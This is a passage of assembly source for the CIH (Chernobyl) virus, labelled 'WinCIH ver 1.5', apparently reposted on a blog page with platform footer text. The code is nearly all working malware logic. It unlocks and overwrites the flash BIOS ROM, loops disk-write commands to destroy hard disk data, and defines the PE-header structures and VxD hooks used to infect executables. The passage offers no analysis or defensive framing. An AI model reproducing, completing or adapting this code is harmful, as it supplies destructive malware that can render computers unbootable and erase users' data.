; * 000E0000 - 000EFFFF *
; *   (   64 KB   )   *
; ***********************

          mov     edi, 8000384ch
          mov     dx, 0cfeh
          cli
          call     esi

; ***********************
; * Show BIOS Page in   *
; * 000F0000 - 000FFFFF *
; *   (   64 KB   )   *
; ***********************

          mov     di, 0058h
          dec     edx                     ; and al,0fh
          mov     word ptr (BooleanCalculateCode-@10)[esi], 0f24h
          call     esi

; ***********************
; * Show the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E01FF *
; *   (   512 Bytes   ) *
; * , and the Section   *
; * of Extra BIOS can   *
; * be Writted...   *
; ***********************

          lea     ebx, EnableEEPROMToWrite-@10[esi]
          mov     eax, 0e5555h
          mov     ecx, 0e2aaah
          call     ebx
          mov     byte ptr [eax], 60h
          push     ecx
          loop     $

; ***********************
; * Kill the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E007F *
; *   (   80h Bytes   ) *
; ***********************

          xor     ah, ah
          mov     [eax], al

          xchg     ecx, eax
          loop     $

; ***********************
; * Show and Enable the *
; * BIOS Main ROM Data *
; * 000E0000 - 000FFFFF *
; *   (   128 KB   )   *
; * can be Writted...   *
; ***********************

          mov     eax, 0f5555h
          pop     ecx
          mov     ch, 0aah
          call     ebx
          mov     byte ptr [eax], 20h

          loop     $

; ***********************
; * Kill the BIOS Main *
; * ROM Data in Memory *
; * 000FE000 - 000FE07F *
; *   (   80h Bytes   ) *
; ***********************

          mov     ah, 0e0h
          mov     [eax], al

; ***********************
; * Hide BIOS Page in   *
; * 000F0000 - 000FFFFF *
; *   (   64 KB   )   *
; ***********************
                                  ; or al,10h
          mov     word ptr (BooleanCalculateCode-@10)[esi], 100ch
          call     esi

; ***************************
; * Kill All HardDisk   *
; ***************************************************
; * IOR Structure of IOS_SendCommand Needs     *
; ***************************************************
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
; ***************************************************

KillHardDisk:
          xor     ebx, ebx
          mov     bh, FirstKillHardDiskNumber
          push     ebx
          sub     esp, 2ch
          push     0c0001000h
          mov     bh, 08h
          push     ebx
          push     ecx
          push     ecx
          push     ecx
          push     40000501h
          inc     ecx
          push     ecx
          push     ecx
          mov     esi, esp
          sub     esp, 0ach

LoopOfKillHardDisk:
          int     20h
          dd     00100004h     ; VXDCall IOS_SendCommand
          cmp     word ptr [esi+06h], 0017h
          je     KillNextDataSection

ChangeNextHardDisk:
          inc     byte ptr [esi+4dh]
          jmp     LoopOfKillHardDisk

KillNextDataSection:
          add     dword ptr [esi+10h], ebx
          mov     byte ptr [esi+4dh], FirstKillHardDiskNumber
          jmp     LoopOfKillHardDisk

; ***************************
; * Enable EEPROM to Write *
; ***************************

EnableEEPROMToWrite:
          mov     [eax], cl
          mov     [ecx], al
          mov     byte ptr [eax], 80h
          mov     [eax], cl
          mov     [ecx], al
          ret

; ***************************
; * IO for EEPROM     *
; ***************************

IOForEEPROM:
@10             =     IOForEEPROM

          xchg     eax, edi
          xchg     edx, ebp
          out     dx, eax
          xchg     eax, edi
          xchg     edx, ebp
          in     al, dx

BooleanCalculateCode     =     $
          or     al, 44h
          xchg     eax, edi
          xchg     edx, ebp
          out     dx, eax
          xchg     eax, edi
          xchg     edx, ebp
          out     dx, al
          ret

; *********************************************************
; *             Static Data           *
; *********************************************************

LastVxDCallAddress     =     IFSMgr_Ring0_FileIO
VxDCallAddressTable     db     00h
          db     IFSMgr_RemoveFileSystemApiHook-_PageAllocate
          db     UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
          db     IFSMgr_Ring0_FileIO-UniToBCSPath
VxDCallIDTable         dd     00010053h, 00400068h, 00400041h, 00400032h
VxDCallTableSize     =     ($-VxDCallIDTable)/04h

; *********************************************************
; *       Virus Version Copyright       *
; *********************************************************

VirusVersionCopyright   db   'WinCIH ver 1.5 by TATUNG, Thailand'

; *********************************************************
; *             Virus Size           *
; *********************************************************

VirusSize             =     $
;                 + SizeOfVirusCodeSectionTableEndMark(04h)
;                 + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
;                 + SizeOfTheFirstVirusCodeSectionTable(04h)

; *********************************************************
; *             Dynamic Data           *
; *********************************************************

VirusGameDataStartAddress     =     VirusSize
@6                 =     VirusGameDataStartAddress
OnBusy                 db     0
FileModificationTime         dd     ?

FileNameBuffer         db     FileNameBufferSize dup(?)
@7             =     FileNameBuffer

DataBuffer         =     $
@8             =     DataBuffer
NumberOfSections     dw     ?
TimeDateStamp         dd     ?
SymbolsPointer         dd     ?
NumberOfSymbols         dd     ?
SizeOfOptionalHeader     dw     ?
_Characteristics     dw     ?
Magic             dw     ?
LinkerVersion         dw     ?
SizeOfCode         dd     ?
SizeOfInitializedData     dd     ?
SizeOfUninitializedData     dd     ?
AddressOfEntryPoint     dd     ?
BaseOfCode         dd     ?
BaseOfData         dd     ?
ImageBase         dd     ?
@9             =     $
SectionAlignment     dd     ?
FileAlignment         dd     ?
OperatingSystemVersion     dd     ?
ImageVersion         dd     ?
SubsystemVersion     dd     ?
Reserved         dd     ?
SizeOfImage         dd     ?
SizeOfHeaders         dd     ?
SizeOfImageHeaderToRead =   $-NumberOfSections
NewAddressOfEntryPoint     =     DataBuffer     ; DWORD
SizeOfImageHeaderToWrite=   04h
StartOfSectionTable     =     @9
SectionName         =     StartOfSectionTable     ; QWORD
VirtualSize         =     StartOfSectionTable+08h     ; DWORD
VirtualAddress         =     StartOfSectionTable+0ch     ; DWORD
SizeOfRawData         =     StartOfSectionTable+10h     ; DWORD
PointerToRawData     =     StartOfSectionTable+14h     ; DWORD
PointerToRelocations     =     StartOfSectionTable+18h     ; DWORD
PointerToLineNumbers     =     StartOfSectionTable+1ch     ; DWORD
NumberOfRelocations     =     StartOfSectionTable+20h     ; WORD
NumberOfLinenNmbers     =     StartOfSectionTable+22h     ; WORD
Characteristics         =     StartOfSectionTable+24h     ; DWORD
SizeOfScetionTable     =     Characteristics+04h-SectionName

; *********************************************************
; *         Virus Total Need Memory         *
; *********************************************************

VirusNeedBaseMemory     =     $
VirusTotalNeedMemory     =     @9
;                 + NumberOfSections(??)*SizeOfScetionTable(28h)
;                 + SizeOfVirusCodeSectionTableEndMark(04h)
;                 + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
;                 + SizeOfTheFirstVirusCodeSectionTable(04h)
; *********************************************************

VirusGame       ENDS
          END   FileHeader
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值